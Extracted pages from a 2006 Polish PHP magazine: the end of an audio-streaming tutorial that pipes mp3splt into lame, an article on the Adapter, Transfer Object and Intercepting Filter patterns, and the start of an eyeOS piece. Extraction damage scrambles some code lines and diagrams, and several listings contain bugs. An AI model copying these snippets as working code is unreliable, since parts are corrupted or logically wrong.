<?php ... // podanie nagłówków w oparciu o typ pliku header('Content-type: ' . $content_type . ';'); header('Content-Disposition: filename=song.' . $extension); // ustawienie częstotliwości próbkowania i uniknięcie jej zwiększania if (($sample_rate*1000) > $song_bitrate) { $sample_rate = $song_bitrate/1000; $sample_ratio = '1'; } else { $sample_ratio = $sample_rate/($song_bitrate/1000); } set_time_limit(0); set_magic_quotes_runtime(0); // informacja dla przeglądarki, że może określić zakres bajtów header('Accept-Ranges: bytes'); header('Content-Length: ' . $sample_ratio*filesize($filename)); // pobranie offsetu, długość utworu taka jak w $song_time $offset = ( $start*$song_time )/( $sample_ratio*filesize($filename)); $offsetmm = floor($offset/60); $offsetss = floor($offset-$offsetmm*60); $offset = sprintf("%02d.%02d",$offsetmm,$offsetss); $eofmm = floor($song_time/60); $eofss = floor($song_time-$eofmm*60); $eof = sprintf("%02d.%02d",$eofmm,$eofss); $song_file = escapeshellarg($filename); $downsample_command = "mp3splt -qnf $song_file $offset $eof -o - | ". " lame --mp3input -q 3 -b $sample_rate -S - -"; // użycie popen, ponieważ otwieramy proces, a nie plik $fp = @popen($downsample_command, 'r'); // Strumieniowanie pliku while (!feof($fp) && (connection_status() == 0)) { $buf = fread($fp,8192); print($buf); } @pclose($fp); ?>

Taka metoda obliczeń gwarantuje, że częstotliwość próbkowania nie zostanie zwiększona. Następną modyfikację należy wprowadzić po wysłaniu kolejnych dwóch nagłówków (Accept-Ranges i ContentLength). Zmienimy sposób obliczania offsetu ($offset), biorąc pod uwagę zdefiniowany czas trwania ($song_time) i proporcje próbkowania ($sample_ratio).
$offset = ( $start*$song_time )/ ( $sample_ratio*filesize($filename)); $offsetmm = floor($offset/60); $offsetss = floor($offset-$offsetmm*60); $offset = sprintf("%02d.%02d", $offsetmm,$offsetss);

“ lame --mp3input -q 3 -b $sample_rate -S - -“;

Podsumowanie

Kolejny fragment kodu zajmie się pobraniem danych o końcu pliku (EOF) w minutach I sekundach:
$eofmm $eofmm $eof = floor($song_time/60); = floor($song_time/60); = sprintf("%02d.%02d",$eofmm,$e ofss);

I wykonajmy je poprzez otwarcie strumienia (zastępuje to otwarcie pliku z poprzedniego przykładu): użyjemy popen() zamiast fopen(), ponieważ uruchomienie wyrażenia jest procesem, a nie plikiem:
$fp = @popen($downsample_command, 'r');

Spróbujmy teraz przeprowadzić downsampling pliku za pomocą zwenętrznych aplikacji – mp3splt i lame. Zanim zaczniemy, oczyśćmy łańcuch z nazwą pliku, aby zapobiec błądom lub niechcianemu wykonywaniu poleceń:
$song_file = escapeshellarg($filename);

Przygotujmy polecenie dotyczące downsamplingu:
$downsample_command = “mp3splt -qnf $song_file $offset $eof -o - | “ .

Ostatnim krokiem jest rozpoczęcie transmisji strumieniowej, w taki sam sposób, jak poprzednio. Po ukończeniu proces musi zostać zamknięty funkcją @pclose($fp) zamiast użytej wcześniej fclose(). To wszystko – nasz skrypt działa bez zarzutu. Na Listingu 5 zaprezentowano skrypt do transmisji strumieniowej umożliwiający downsampling, pozbawiony jedynie początkowych operacji na bazie danych i wyboru rozszerzenia pliku (są one takie, jak na Listingu 4). Kompletny kod źródłowy można pobrać z naszej strony internetowej (http://www.phpsolmag.org).

Udowodniliśmy, że do stworzenia serwera transmisji strumieniowych wystarczy PHP, Apache i baza danych. Te same pomysły można zastosować przy tworzeniu serwera transmisji wideo. Choć nasz przykład jest względnie prosty, zapewnia solidne wprowadzenie do świata transmisji multimedialnych. Przykład można rozwinąć, tworząc zaawansowany portal muzyczny (z kilkoma modyfikacjami) lub nadając audycje wideo. Niezależnie od wyboru należy pamiętać, że te tajemnicze transmisje strumieniowe polegają jedynie na manipulacji nagłówkami. n

O autorze:
Karl Vollmer jest głównym deweloperem i liderem projektu Ampache od roku 2003. Był także jednym z dwóch głównych deweloperów projektu OSUOSL. Obecnie pracuje dla College of Forestry na Uniwersytecie Stanowym w Oregon.

PHP Solutions Nr 3/2006

www.phpsolmag.org

27

Techniki

Wzorce projektowe w akcji, czyli ciąg dalszy Niezbędnika dewelopera PHP
Piotr Szarwas

Stopień trudności: lll

Czytelny i przejrzysty kod. Elastyczna i w każdym momencie gotowa na rozbudowę architektura. Bogata, dodawana w elegancki sposób funkcjonalność. I w końcu najlepsze praktyki programowania obiektowego w PHP5. Poznaj trzy kolejne omówione w tym artykule wzorce projektowe.

W
W SIECI
1. http://flexi.sourceforge.net/ – tu umieściliśmy tworzony przez nas Framework 2. http://www.artima.com/ designtechniques/ compoinh.html – kiedy stosować kompozycję, a kiedy dziedziczenie 3. http://www.zend.com/php/ design/ – projektowanie aplikacji w PHP5 4. http://www.developer.com/ design/article.php/3345121 – implementacja wzorców projektowych w PHP5

poprzednim artykule na przykładzie prostego frameworka MVC pokazaliśmy wam, jak w praktyce można zaimplementować trzy wzorce programistyczne: Strategy, Composite i Decorator. Posłużyły nam one do zbudowania klasy FrontControllerImpl, implementującej wzorzec architektoniczny FrontController. W tym artykule zaprezentujemy wam, jak w naszym framewroku można wykorzystać wzorce Adapter, Transfer Object i Intercepting Filter. Pokażemy, jak stosując kompozycję i delegację można rozbudować funkcjonalność klasy FrontControllerImpl. Zanim przejdziemy do omawiania wspomnianych wzorców wprowadzimy drobne zmiany w klasie FrontControllerImpl . Na Listingu 1a pokazana jest implementacja nowej wersji tej klasy. Zmiany wydają się dość poważne, ale są łatwe do wytłumaczenia.

Nazwane wyjątki – dlaczego warto je stosować

Po pierwsze dodaliśmy trochę kodu sprawdzającego poprawność zwracanych obiektów. PHP nie jest językiem ścisłego typowania, lepiej więc się zabezpieczyć i sprawdzić, czy zwracane informacje są właściwego typu. O pojawieniu się błędu informujemy poprzez

Co należy wiedzieć...

Powinieneś znać podstawy programowania obiektowego w PHP5. Przydatna będzie również lektura artykułu wprowadzającego w tematykę wzorców projektowych, który ukazał się w poprzednim numerze PHP Solutions.

Co obiecujemy...

Poznasz trzy kolejne wzorce projektowe (Adapter, Transfer Object i Intercepting Filter) i ich praktyczne wykorzystanie w rozbudowie naszego frameworka.

28

www.phpsolmag.org

PHP Solutions Nr 3/2006

Wzorce projektowe

Techniki

rzucanie odpowiednich wyjątków. Są to tzw. nazwane wyjątki. Dzięki określeniu typu każdego z wyjątków kod jest czytelniejszy i sam się dokumentuje. Typowane wyjątki pozwolą też na elastyczniejszą reakcję na błędy. W ramce Konwencje kodowania możecie dodatkowo przeczytać, dlaczego nazwane wyjątki są takie ważne.

Konwencje Kodowania


W sekcji tej chcielibyśmy pokrótce opisać konwencje kodowania, jakie będziemy stosować podczas pisania wszystkich artykułów: Będziemy się starali, aby tam gdzie jest to możliwe, zmienne klas były prywatne, jeżeli wymagać będzie tego architektura będą one typu protected. Z całą pewnością będziemy się starać, aby nie były one publiczne. Zmienne publiczne powodują, że kod przestaje być odporny na zmiany. Praktycznie w każdym miejscu jako dostępu do zmiennych klasy będziemy starali się wykorzystywać tzw. settery i gettery (dostęp do zmiennych składowych przy pomocy _ _ get i _ _ set). Dzięki temu kod jest bardziej odporny na zmiany. Konwencja nazewnictwa metod i zmiennych została zapożyczona z Javy, a dokładniej ze specyfikacji JavaBeansów. Jako podstawowy model obsługi błędów wykorzystaliśmy wyjątki. Dodatkowo w każdym miejscu, w którym rzucany był wyjątek, nie był on generycznego typu. Wyjątki pełnią w kodzie kilka funkcji: informują o wystąpieniu błędu, swoim typem informują o typie błędu, ich jasne nazwy pełnią funkcję dokumentacji. Tak więc zawsze starajcie się stosować nazwane wyjątki, a nie bezpośrednio klasę Exception. Wszędzie, gdzie jest to możliwe, stosujemy silne typowanie. Ogranicza to pewnie ograniczenie stosowalności naszego frameworka do PHP 5.0, a w niektórych miejscach do PHP 5.1. Z naszego doświadczenia wynika jednak, że w przypadku frameworków silne typowanie powoduje, że popełniamy mniej błędów.

• • •

Request Object / Transfer Object

Zmieniliśmy też wymagania dotyczące metody doAction. Chcemy, aby zwróciła ona obiekt klasy ModelAndView lub wartość null. Zmiana ta nie wymaga na szczęście zmiany interfejsu MVCAction. Teraz akcje nie będą same renderować warstwy prezentacji, a jedynie w postaci klasy ModelAndView dostarczać front kontrolerowi wszystkich informacji potrzebnych do wyrenderowania strony: logiczną nazwę szablonu i dane do prezentacji. Logiczne nazwy szablonów to nazwy, które nie będą przywiązane do żadnego mechanizmu renderowania stron. Nie są to np. nazwy plików z szablonami Smarty lub PHPTAL. W dalszej części artykułu pokażemy wam, dlaczego tak jest i jak przekształcić te informacje na obiekty, które będą potrafiły wygenerować kod HTML. Podsumowując można powiedzieć, iż klasa ModelAndView jest swojego rodzaju kontenerem. Jej implementacja znajduje się na Listingu 1b. Rozszerza ona klasę NameValuePairHolder, która opakowuje tablicę asocjacyjną, przechowującą wszystkie dane przekazywane z akcji do front kontrolera. Pełna implementacja klasy NameValuePairHolder znajduje się w kodzie dołączonym do artykułów. Zastosowanie klasy ModelAndView jest pew-



nego rodzaju programistycznym trikiem. Stosując obiekty do wymiany danych pomiędzy różnymi warstwami aplikacji, przygotowujemy kod na przyszłe zmiany formatu komunikacji pomiędzy tymi warstwami, bez potrzeby zmiany interfejsów komunikujących się metod. Spróbujmy wyjaśnić to na przykładzie klasy HttpRequest. Klasa ta pełni podobną funkcję jak ModelAndView, czyli jest kontenerem danych przekazywanych pomiędzy warstwami aplikacji (Rysunek 1). Wyobraźcie sobie, że pojawiła się potrzeba, aby akcje dostawały informacje o języku (polski, angielski, itp.), w którym zostanie wygenerowana strona. Język, w jakim ma być wyrenderowana strona, definiowany jest w front kontrolerze. Pierwsze co przychodzi nam do głowy, to zmiana interfejsu MVCAction i dodanie

���������������

�����������

������������

����������������

Rysunek 1. Przepływ danych pomiędzy różnymi warstwami aplikacji z wykorzystaniem pojedynczego obiektu jako kontenera danych

do metody doAction informacji o języku. Ale to oznacza, że będziemy musieli zmienić implementację tej metody we wszystkich istniejących już akcjach. A tego z całą pewnością nie chcemy, poza tym nie wszystkie akcje potrzebują języka do swojego poprawnego działania. Kolejnym pomysłem może być dodanie do interfejsu MVCAction kolejnej metody np. doActionWithLangSupport, w której jako drugi parametr będziemy podawać język. Ale teraz pojawia się kolejny problem jak w front kontrolerze podjąć decyzję, którą metodę mamy wykorzystać. Tak więc żadne z tych rozwiązań nie jest dobre. Istnieje jednak dużo prostsze rozwiązanie – dodanie do klasy HttpRequest metody getLocale. Dzięki temu Front Controller pozostanie bez zmian. Interfejs MVCAction również. Dodatkowo każda akcja, która będzie do swojego działania potrzebować języka pobierze go sobie z HttpRequest. Z przytoczonego rozwiązania płynie prosty wniosek: wszędzie, gdzie spodziewacie się, że mogą pojawić się zmiany interfejsu do przekazywania danych do metod, stosujcie obiekty lub tablice asocjacyjne. Dzięki temu wasz kod będzie bardziej odporny na zmiany. Omawiany problem chyba nigdy nie doczekał się swojej nazwy jako wzorzec. My postanowiliśmy zapożyczyć nieformalnie nazwę z innego wzorca i ochrzcić nasz trik nazwą Transfer Object.

PHP Solutions Nr 3/2006

www.phpsolmag.org

29

Techniki

Wzorce projektowe
PDF. Odpowiedzialność za odnalezienie i wygenerowanie strony przekażemy klasom implementującym interface View. Za utworzenie i odnalezienie odpowiedniego widoku odpowiedzialne będą klasy implementujące interfejs ViewResolvingStrategy. Zbudowane w ten sposób API będzie można łatwo rozszerzać dodając kolejne klasy typu ViewResolvingStrategy i kolejne klasy widoków. Listing 2a prezentuje interfejsy View i ViewResolver, Listing 2b zawiera ich przykładową implementacje dla Smarty, a Listing 4 nową wersję Front Controllera. Listing 4 zawiera szereg klas, które nie zostały jeszcze omówione, ale nie martwcie się – po lekturze całego artykułu wszystko, co jest na tym Listingu, powinno być zrozumiałe. Podział na ViewResolvingStrategy i View jest powtórką rozwiązania zaprezentowanego w poprzednim artykule, tam posłużyliśmy się nim do odnajdywania akcji. Architektura ta wydaje się nam na tyle użyteczna, że powtórzymy ją jeszcze raz. Wyobraźcie sobie, że tworzycie aplikację, która jako jedno ze swoich wymagań ma możliwość działania w wielu wersjach językowych, przy czym klient nie zdefiniował, ile to będzie wersji. Klient chciałby też móc w prosty sposób tworzyć kolejne wersje językowe napisanej przez was aplikacji. Należy więc do naszego frameworka dodać mechanizm zarządzania internacjonalizacją aplikacji. Problem ten sprowadzimy do napisania kilku klas implementujących interfejs LocaleResolvingStrategy, które będą zawsze zwracać obiekty typu Locale. Obiekty typu Locale będą przekazywane do innych klas, które będą umiaListing 1b. Implementacja klasy ModelAndView
class ModelAndView extends NameValuePairHolde { private $template; private $view = null; public function setView(View $view) { $this->view = $view; } public function getView() { return $this->view; } public function setTemplate($templateName) { $this->template = $templateName; } public function getTemplate() { return $this->template; } }

FrontController – jak kompozycją zwiększyć jego możliwości

Po drobnych zmianach, które wprowadziliśmy na Listingu 1b nasz Front Controller jest gotowy do dalszej przebudowy. Zaczniemy od tego, że Front Controller i akcje powinny być napisane tak, by żadne z nich nie było odpowiedzialne za wyświetlenie „strony” dla użytkownika. Poprzez stronę rozumiemy dowolną formę prezentacji HTML, XML, CSV lub

Listing 1a. Ulepszona klasa FrontControllerImpl
class FrontControllerImpl implements FrontController { private $actionResolvingStrategy; public function __construct(ActionResolvingStrategy $actionResolvingStrategy) { $this->setActionResolvingStrategy($actionResolvingStrategy); } public function doService(HttpRequest $request) { $actionClass = $this->getActionResolvingStrategy()->resolveAction($reques t); if ( is_null( $actionClass ) ) { throw new ActionDoesNotExistsException('Nie znaleziono akcji do wykonania'); } if ( $actionClass instanceof MVCAction ) { throw new WrongReturnTypeException('Zwrócony obiekt nie jest typu MVCAction'); } $modelAndView = $actionClass->doAction($request); if ( !is_null( $modelAndView ) && !($modelAndView instanceof ModelAndView) ) { throw new WrongReturnTypeException('Zwrócony obiekt nie jest typu ModelAndView'); } return $modelAndView;

}

//gettery i settery private function getActionResolvingStrategy() { return $this->actionResolvingStrategy; } private function setActionResolvingStrategy(ActionResolvingStrategy $actionRe solvingStrategy) { $this->actionResolvingStrategy = $actionResolvingStrategy; }

}

30

www.phpsolmag.org

PHP Solutions Nr 3/2006

Wzorce projektowe

Techniki

Listing 2a. Interfejsy View i ViewResolver
interface ViewResolvingStrategy { public function resolveView($viewName, Locale $locale); } interface View { public function render(array $data); }

Listing 2b. Przykładowa implementacja interfejsów View i ViewResolver dla Smarty
class SmartyViewResolvingStrategy implements ViewResolvingStrategy { private $renderingEngine; private $tplPath; private $tplPrefix; private $tplSuffix; public function __construct(Smarty $smartyEngine, $tplPath, $tplPrefix = '', $tplSuffix = '.tpl.html') { $this->setRenderingEngine($smartyEngine); $this->setTplPath($tplPath); $this->setTplPrefix($tplPrefix); $this->setTplSuffix($tplSuffix); } public function resolveView($viewName, Locale $locale) { $fileName = $this->getTplPath().'/'.$this->getTplPrefix().$viewName; if ( $locale != null && $locale->getLang() != '' ) { $fileName .= '_'.$locale->getLang(); } $fileName .= $this->getTplSuffix(); $this->getRenderingEngine()->template_dir = dirname($fileName); return new SmartyView($this->getRenderingEngine(), 'file:'.$fileName);

}

// gettery i settery zostały pominięte } class SmartyView implements View { private $renderingEngine = null; private $tplFile; public function __construct(Smarty $renderingEngine, $tplFile) { $this->setRenderingEngine($renderingEngine); $this->setTplFile($tplFile); } public function render(array $data) { $this->getRenderingEngine()->clear_all_assign(); $this->getRenderingEngine()->assign($data); return $this->getRenderingEngine()->fetch($this->getTplFile());

ły je wykorzystać. Takim przykładem jest dowolna klasa typu ViewResolvingStrategy, która w zależności od Locale może zwrócić inny plik szablonu. Przykładowe implementacje interfejsów LocaleResolvingStrategy i klasy Locale pokazane są na Listingach 3a i 3b. Tworząc szereg małych klas, które specjalizują się w wykonywaniu prostych pojedynczych zadań czynimy nasz framework bardzo elastycznym i gotowym na rozszerzenia. Dodatkowo małe klasy są łatwe w zrozumieniu i testowaniu. Klasa FrontControllerImpl wraz z implementacjami różnych interfejsów typu ResolvingStrategy jest idealnym przykładem na to, jak zasada kompozycji obiektów może spowodować, że niewielki rozmiarami kod potrafi wykonywać bardzo skomplikowane zadania. Wyobraźcie sobie, jak trudnym byłoby napisanie tego kodu, gdyby zawierał się on w jednej dużej klasie, taki kod były najprawdopodobniej nieczytelny i trudny do przetestowania. Przykład FrontControllerImpl pokazuje, że zaawansowany w swoim działaniu kod nie musi być skomplikowany – wystarczy jedynie, aby istniały złożone relacje pomiędzy prostymi obiektami. Kompozycja nie zawsze jest najlepszym rozwiązaniem. Podobnie jak dziedziczenie, należy ją stosować z rozwagą. Pojawia się więc pytanie, kiedy należy stosować kompozycję a kiedy dziedziczenie. Ciężko jest jednoznacznie odpowiedzieć na to pytanie, szczególnie w ramach artykułu. Istnieje pewien zestaw wskazówek, o których można przeczytać pod adresem: http:// www.artima.com/designtechniques/ compoinh.html.

Adapter

}

// gettery i settery zostały pominięte }

Na Listingu 5a pokazana jest implementacja klasy MCacheActionResolverStrate gy, którą stworzyliśmy we wcześniejszej części artykułu. Klasa ta zwraca na podstawie nazwy obiekt akcji, który został zapisany w cache'u. Jeżeli obiekt nie zostanie odnaleziony w cache'u, rzucany jest wyjątek. Jako mechanizm cachowania wykorzystany został memcache. Wyobraźmy sobie teraz, że pojawia się nagle potrzeba zaimplementowania innego mechanizmu cachowania, np. znanego chyba wszystkim CacheLite. Problem ten możemy rozwiązać na kilka sposobów. Najprościej byłoby skopiować kod

PHP Solutions Nr 3/2006

www.phpsolmag.org

31

Techniki

Wzorce projektowe

Listing 3a. Przykładowa implementacja interfejsu LocaleResolvingStrategy
class Locale { private $langCode; public function __ construct($langCode) { $this->setLangCode($langCode); } public function getLangCode() { return $this->langCode; } private function setLangCode($langCode) { $this->langCode = $langCode; } } interface LocaleResolvingStrategy { public function resolveLocale(HttpRequest $request); }

Listing 4. Nowa wersja Fron Controllera. Zastosowanie kompozycji zwiększa jego możliwości
class FrontControllerImpl implements FrontController { private $actionResolvingStrategy; private $viewResolvingStrategy; private $localeResolvingStrategy; public function __construct( ActionResolvingStrategy $actionResolvingStrategy, ViewResolvingStrategy $viewResolvingStrategy, LocaleResolvingStrategy $localeResolvingStrategy) { $this->setActionResolvingStrategy($actionResolvingS trategy); $this->setViewResolvingStrategy($viewResolvingStra tegy); $this->setLocaleResolvingStrategy($localeResolvingS trategy); } public function doService(HttpRequest $request) { $result = null; try {

$this->filter->doPreProcessing($request); $locale = $this->getLocaleResolvingStrategy()-> resolveLocale($request); $actionClass = $this->getActionResolvingStrateg y()-> resolveAction($request); $modelAndView = $actionClass->doAction($request); $viewObj = $modelAndView->getView(); if ( !($viewObj instanceof View) ) { $viewObj = $this->getViewResolvingStrategy()-> resolveView($modelAndView->getTemplate(),$l ocale); } $result = $viewObj->render($modelAndView>getAllVariables()); $this->filter->doPostProcessing( $request, $modelAndView );

Listing 3b. Przykładowa implementacja klasy Locale
class RequestParamLocaleResolvingStrategy implements LocaleResolvingStrategy

{

private $requestKey; private $defaultLangCode; public function __construct($requestKey, $defaultLangCode) { $this->setRequestKey($requestKey); $this->setDefaultLangCode($defaultLangCode);

}

public function resolveLocale(HttpRequest $request) { $lang = $request->getVar($this->getRequestKey()); if ($lang == '') { $lang = $this->getDefaultLangCode(); } return new Locale( $lang ); }

}

return $result; } catch( Exception $exception ) { $this->filter->doExceptionProcessing( $exception, $request, $modelAndView); }

// gettery i settery zostały pominięte } }

// gettery i settery zostały pominięte

32

www.phpsolmag.org

PHP Solutions Nr 3/2006

Wzorce projektowe
klasy MCacheActionResolverStrategy i przystosować ją do działania z nowym mechanizmem cachowania. Czynność tę można powtarzać dalej, tzn. w momencie, gdy będziemy chcieli dodać kolejny mechanizm cachowania ponownie skopiujemy kod i utworzymy kolejną klasę implementującą interfejs ActionResolverStrategy. I w tym momencie w naszych głowach powinno zapalić się czerwone światełko, pod którym powinien migać napis Czy aby to najprostsze rozwiązanie jest najlepsze. Naszym zdaniem nie. Za każdym razem, gdy w waszym kodzie pojawia się potrzeba skopiowania kodu, powinniście się dobrze zastanowić, czy nie można tak zmienić kodu, aby go nie powtarzać. Zduplikowany kod jest jednym z największych wrogów każdego programisty. Jak więc rozwiązać ten problem? Najlepiej byłoby uniezależnić się od implementacji jakiegokolwiek mechanizmu cachowania obiektów. Posłuży nam do tego wzorzec Adapter. Kod naszego frameworka będzie zależny jedynie od interfejsu CacheService implementowanego przez klasy, za którymi ukryta będzie obsługa mechanizmów cachowania. Na Listing 5b prezentuje klase CacheActionResolverStrategy, która może pobierać obiekty z dowolnego mechanizmu cachującego implementującego interfejs CacheService. Aby cachowanie ponownie zadziałało, potrzebujemy teraz jedynie adapterów, które będą delegować działanie do Memcacha i CacheLita. Listing 5c pokazuje implementację Adaptera dla CacheLite. Dzięki oddzieleniu API mechanizmów cachujących od klas ActionResoverów udało się stworzyć mechanizm cachowania wspólny dla całego frameworka. Teraz w dowolnym miejscu, w którym będzie potrzebne cachowanie obiektów, wystarczy, że będziemy wymagać klasy implementującej interfejs CacheService. Drugim przykładem wykorzystania wzorca Adapter jest interfejs View opisany powyżej. W środowisku PHP istnieje kilka szablonów renderujących strony. Najbardziej znany to oczywiście Smarty, ale sporo zwolenników ma też PHPTAL. Ponadto, pamiętajmy, że dane, które przesyłamy do użytkowników, nie zawsze muszą mieć postać stron HTML, czasami mogą to być pliki CSV, XML, a nawet PDF-y. Nie jesteśmy więc w sta-

Techniki

Listing 5a. Implementacja klasy McacheActionResolverStrategy
class MCacheActionResolverStrategy implements ActionResolvingStrategy { private $_actionRequestParamName; private $_memcache; public function __construct($actionRequestParamName, $memcacheHost, $memcachePort) { $this->_actionRequestParamName = $actionRequestParamName; $this->_memcache = new Memcache(); $this->_memcache->connect($memcacheHost, $memcachePort); } public function resolveAction(HttpRequest $request) { $actionName = $request->getParam($this->_actionRequestParamName); if ($actionName != '') { return $this->_memcache->get($actionName); } else { throw new RuntimeException('Nie wyspecyfikowano akcji do wywołania!'); }

} }

Listing 5b. Klasa CacheActionResolverStrategy, która może pobierać obiekty z dowolnego mechanizmu cachującego implementującego interfejs CacheService
interface CacheService { public public public public function function function function set($key,$data); get($key); remove($key); exists($key);

} class CacheActionResolverStrategy implements ActionResolvingStrategy { private $actionRequestKey; private $cacheService; public function __construct($actionRequestKey, CacheService $cacheService) { $this->setActionRequestKey($actionRequestKey); $this->setCacheService($cacheService); } public function resolveAction(HttpRequest $request) { $actionName = $request->getVar($this->getActionRequestKey()); if ($this->getCacheService()->exists($actionName)) { return $this->getCacheService()->get($actionName); } else { throw new ObjectDoesnotExistsInCacheException( 'Nie wyspecyfikowano akcji do wywołania!'); }

}

// gettery i settery zostały pominięte }

PHP Solutions Nr 3/2006

www.phpsolmag.org

33

Techniki

Wzorce projektowe

��������������
����������������

������������

����������������������

�������������������

���������������������

���������������

��
������

���������������

��
���������

����������

�������������

�������������

��

����
���������

�������������������

Rysunek 2. Diagram sekwencji dla klasy FrontControllerImpl z Listingu 4 nie wybrać jednego mechanizmu renderowania szablonów dla naszego frameworka, bo nie ma takiego, który spełniałby oczekiwania wszystkich. Dlatego klasy implementujące interfejs View są adapterami mechanizmów renderujących strony do różnych postaci. Listing 5c. Implementacja Adaptera dla CacheLite.
class CacheLiteCacheService { private $cacheEngine; public function __construct(array $options) { $this->setCacheEngine(new Cache_Lite($options)); } public function set($key,$data) { return $this->getCacheEngine()->save($data,$key); } public function get($key) { return $this->getCacheEngine()->get($key); } public function remove($key) { return $this->getCacheEngine()->remove($key); } public function exists($key) { if ( $this->getCacheEngine()->get($key) ) { return true; } return false; } // gettery i settery zostały pominięte }

Intercepting Filter

Pisząc aplikację często zdarza się, że pewne operacje musimy powtarzać w każdym skrypcie na jego początku i końcu (ang. preprocessing i postprocessing). Należą do nich na przykład otwieranie połączenia do bazy i rozpoczynanie transakcji lub też otwieranie sesji. Tam gdzie dostęp do stron jest chroniony hasłem, jedną z pierwszych operacji, jaką wykonujemy, jest sprawdzanie czy osoba, która wywołuje daną stronę, jest zalogowana. Jeżeli korzystamy z jakiegoś frameworka MVC nasz problem sprowadza się do wprowadzania odpowiedniego kodu w pliku, który wywołuje Front Controller. Jeżeli aplikacja składa się z niezależnych skryptów, możemy w każdym z nich umieszczać odpowiednie includy – będą one wykonywać pożądane przez nas działania. Każde z tych rozwiązań ma swoje wady i zalety. W przy-

34

www.phpsolmag.org

PHP Solutions Nr 3/2006

Wzorce projektowe
padku umieszczania kodu w pliku Front Controllera powodujemy, że staje się on charakterystyczny dla naszej aplikacji, jego kod przestaje być możliwy do przeniesienia. W sytuacji, gdy na każdej stronie umieszczamy odpowiednie includy problem jest oczywisty – zawsze możemy zapomnieć to zrobić. Kod, który napiszemy w includach, czy też w Front Controllerze jest częścią naszej aplikacji, a nie „ustandaryzowanego API” frameworka, zatem z dużym prawdopodobieństwem przy tworzeniu następnego projektu będziemy musieli go skopiować. A to oznacza, że nasza czerwona lampka powinna się ponownie zapalić, zadając jednocześnie pytanie: czy nie da się tego rozwiązać lepiej?. Oczywiście, że tak. Z pomocą przychodzi nam wzorzec Intercepting Filter. Wzorzec ten pojawia się w literaturze w dwóch odmianach , w których filtry stanowią łańcuch i każdy filtr wywołuje swojego następcę. Ostatnim filtrem jest najczęściej akcja, którą chciał wykonać użytkownik. Druga implementacja, naszym zdaniem bardziej odpowiednia, pokazana jest na Listingu 4. Dla lepszego zrozumienia, Rysunek 2 przedstawia diagram sekwencji dla tej klasy. Teraz każda akcja wykonana przez front kontroler może zostać poprzedzona wywołaniem filtra, na którym to zostanie wykonana metoda doPreProcessing. Po wykonaniu akcji na tymże filtrze zostanie wykonana metoda doPostProcessing. Ponadto w przypadku, gdy pojawi się jakiś wyjątek, zostanie wykonana metoda doExceptionProcessing. W ten sposób utworzyliśmy jeden wspólny interfejs do implementacji czynności wykonywanych zawsze na końcu i początku skryptu. Udało się nam również stworzyć mechanizm, który będzie reagował na wyjątki, i tak np. w przypadku filtru otwierającego połączenie do bazy i rozpoczynającego transakcję przed zamknięciem połączenia, transakcja zostanie zrollbacowana. Metoda doExceptionProcessing jako jeden ze swoich parametrów pobiera obiekt wyjątku, tak więc każda z implementacji tej metody może w zależności od typu wyjątku zareagować w inny sposób, co w połączeniu ze stosowaniem w kodzie nazwanych wyjątków jest bardzo silnym narzędziem. Mechanizm ten można łatwo wykorzystać do logowania wyjątków i do przekierowy-

Techniki

Listing 6. Przykładowe implementacje wzorca Intercepting Filter
interface InterceptingFilter { public function doPreProcessing(HttpRequest $request); public function doPostProcessing(HttpRequest $request, ModelAndView $modelAndView = NULL); public function doExceptionProcessing(HttpRequest $request, Exception $exception, ModelAndView $modelAndView = NULL);

}

------------------------------------------------------------class SessionFilter implements InterceptingFilter { public function doPreProcessing(Request $request) { session_start(); } public function doPostProcessing(Request $request, ModelAndView $modelAndView = NULL) { } public function doExceptionProcessing(Exception $exception, Request $request, ModelAndView $modelAndView = NULL) { }

}

wania użytkownika na stronę z informacją o czasowym niedziałaniu serwisu. Zwróćcie uwagę, że takich stron może być wiele, tzn. jedna dla każdego typu wyjątku. Listing 6 przedstawia przykładowe implementacji wzorca Intercepting Filter.

Podsumowanie

W artykule pokazaliśmy, jak przy pomocy jednej z najbardziej podstawowych technik programowania obiektowego – kompozycji można zbudować aplikację o dużej funkcjonalności. Dzięki kompozycji osiągnęliśmy cel, o którym była mowa w pierwszym artykule tej serii. Klasa FrontControllerImpl ma prostą implementację, jest zrozumiała i czytelna. Jednocześnie jest bardzo elastyczna i przygotowana na rozbudowę. Tym samym zakończyliśmy budowę tej części frameworka MVC. W następnym artykule powiemy więcej o akcjach. Poza rozbudową klasy Front Controllera zaprezentowaliśmy dwa bardzo ważne wzorce programistyczne Adapter i Intercepting Filter. Zgodnie z obietnicami z pierwszego artykułu poruszyliśmy

też temat dobrych praktyk, jakie należy stosować programując obiektowo. Powiedzieliśmy o tym, jak ważne jest stosowanie nazwanych wyjątków i tzw. Transfer Objects. W artykule nie udało się nam zamieścić wszystkich przykładów, które pokazują prostotę i elastyczności naszego rozwiązania, dlatego pod adresem http:// flexi.sourceforge.net/ umieściliśmy cały framework wraz z forum, na którym możecie wypowiedzieć się na temat naszego kodu. Kod umieszczony na WWW zawiera dużo więcej potrzebnych i interesujących przykładów. n

O autorze
Piotr Szarwas jest pracownikiem SUPERMEDIA Interactive i doktorantem na wydziale Fizyki Politechniki Warszawskiej. Od 2003 roku projektuje aplikacje WWW w oparciu o PHP4/5. Obecnie zajmuje się tworzeniem frameworka dla PHP opartego na rozwiązaniach Hibernate i Spring. Kontakt z autorem: [email protected]

PHP Solutions Nr 3/2006

www.phpsolmag.org

35

Narzędzia

Projekt eyeOS: rewolucja w interfejsach webowych PHP
Steven Mautone i Pau Garcia-Milà

Stopień trudności: lll

Wyobraźmy sobie, że nasze aplikacje webowe nie mają już surowego, sztywnego interfejsu. Są elastyczne i umożliwiają uruchamianie wielu aplikacji w jednym oknie przeglądarki – w ramkach o dowolnym rozmiarze, które można przeciągać, minimalizować i przywracać. Wyobraźmy sobie pulpit WWW z paskiem zadań i koszem na śmieci, dobrze znanym z KDE, GNOME czy systemów MS Windows i MacOS. To nie sen – to eyeOS, pierwszy graficzny system operacyjny napisany w czystym PHP i JavaScript.

C

elem projektu jest opracowanie graficznego środowiska spełniającego wszystkie potrzeby informatyczne firm i użytkowników domowych za pomocą PHP i serwera WWW. eyeOS ma wszędzie i w każdej chwili zapewniać dostęp do takich aplikacji, jak procesor tekstu, terminarz, menedżer plików czy komunikator.

wym rogu ekranu umieszczono małą ikonę umożliwiającą wylogowanie oraz zegar cyfrowy pokazujący aktualny czas.

Aplikacje, czyli zamieniamy czarnobiały TV na kolorowy

Uruchomienie eyeOS

W SIECI
1. http://www.eyeos.org – strona domowa projektu eyeOS 2. http://www.eyeapps.org – repozytorium aplikacji eyeOS

